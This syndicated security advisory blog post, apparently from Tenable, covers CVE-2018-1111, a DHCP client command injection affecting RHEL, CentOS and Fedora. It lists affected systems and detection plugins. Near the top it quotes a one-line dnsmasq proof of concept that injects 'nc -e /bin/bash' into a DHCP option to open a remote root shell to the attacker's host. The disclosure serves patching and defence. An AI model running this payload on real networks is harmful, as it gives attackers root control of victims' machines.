On May 15, Red Hat disclosed a critical vulnerability in a script included in NetworkManager for the Dynamic Host Configuration Protocol (DHCP) client on Red Hat Enterprise Linux (RHEL). The vulnerability was discovered by Google engineer Felix Wilhelm. The proof of concept for the command injection vulnerability CVE-2018-1111 is so simple that it fits into a single tweet. Wilhelm tweeted: “CVE 2018-1111 is a pretty bad DHCP remote root command injection affecting Red Hat derivates: https://access.redhat.com/security/vulnerabilities/3442151 …. Exploit fits in a tweet so you should patch as soon as possible.”
dnsmasq –interface=eth0 –bind-interfaces –except-interface=lo –dhcp-range=10.1.1.1,10.1.1.10,1h –conf-file=/dev/null –dhcp-option=6,10.1.1.1 –dhcp-option=3,10.1.1.1 –dhcp-option=”252,x’&nc -e /bin/bash 10.1.1.1 1337 #”
DHCP is a protocol used to automatically assign dynamic IP addresses, Domain Name System (DNS) server addresses and other network configuration data to devices. To exploit this vulnerability, an attacker must be on the same network as the vulnerable systems. This is very common when a public Wi-Fi hotspot is offered (e.g., at airports, public libraries or coffee shops).
Red Hat states, “A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.”
RHEL Server 6 and 7 are vulnerable. We recommend that all Red Hat customers running affected versions of the dhcplient package urgently apply updates. Other affected Linux distributions include:
- CentOS 6.x and 7.x
- Fedora 26, 27 and 28
Red Hat’s update services for SAP solutions on x86 and IBM Power architectures are also affected.
Other operating systems derived from Fedora/RHEL are likely to be affected, including HPE’s ClearOS and Oracle Linux as well as the recently discontinued Korora Linux.
Tenable Research has developed and released the following checks and plugins for this vulnerability.
CentOS 7 : dhcp (CESA-2018:1453)
CentOS 6 : dhcp (CESA-2018:1454)
Fedora 27 : 12:dhcp (2018-36058ed9f2)
Oracle Linux 7 : dhcp (ELSA-2018-1453)
Oracle Linux 6 : dhcp (ELSA-2018-1454)
OracleVM 3.3 / 3.4 : dhcp (OVMSA-2018-0042)
RHEL 7 : dhcp (RHSA-2018:1453)
RHEL 6 : dhcp (RHSA-2018:1454)
RHEL 7 : dhcp (RHSA-2018:1455)
RHEL 7 : dhcp (RHSA-2018:1456)
RHEL 7 : dhcp (RHSA-2018:1457)
RHEL 6 : dhcp (RHSA-2018:1458)
RHEL 6 : dhcp (RHSA-2018:1459)
RHEL 6 : dhcp (RHSA-2018:1460)
RHEL 6 : dhcp (RHSA-2018:1461)
Scientific Linux Security Update : dhcp on SL6.x i386/x86_64
Scientific Linux Security Update : dhcp on SL7.x x86_64
- Red Hat CVE-2018-1111
- Learn more about Tenable.io, the first Cyber Exposure platform for holistic management of your modern attack surface
- Get a free 60-day trial of Tenable.io Vulnerability Management
*** This is a Security Bloggers Network syndicated blog from Tenable Blog authored by Steve Tilson. Read the original post at: http://feedproxy.google.com/~r/tenable/qaXL/~3/lv37_KopG10/advisory-red-hat-dhcp-client-command-injection-trouble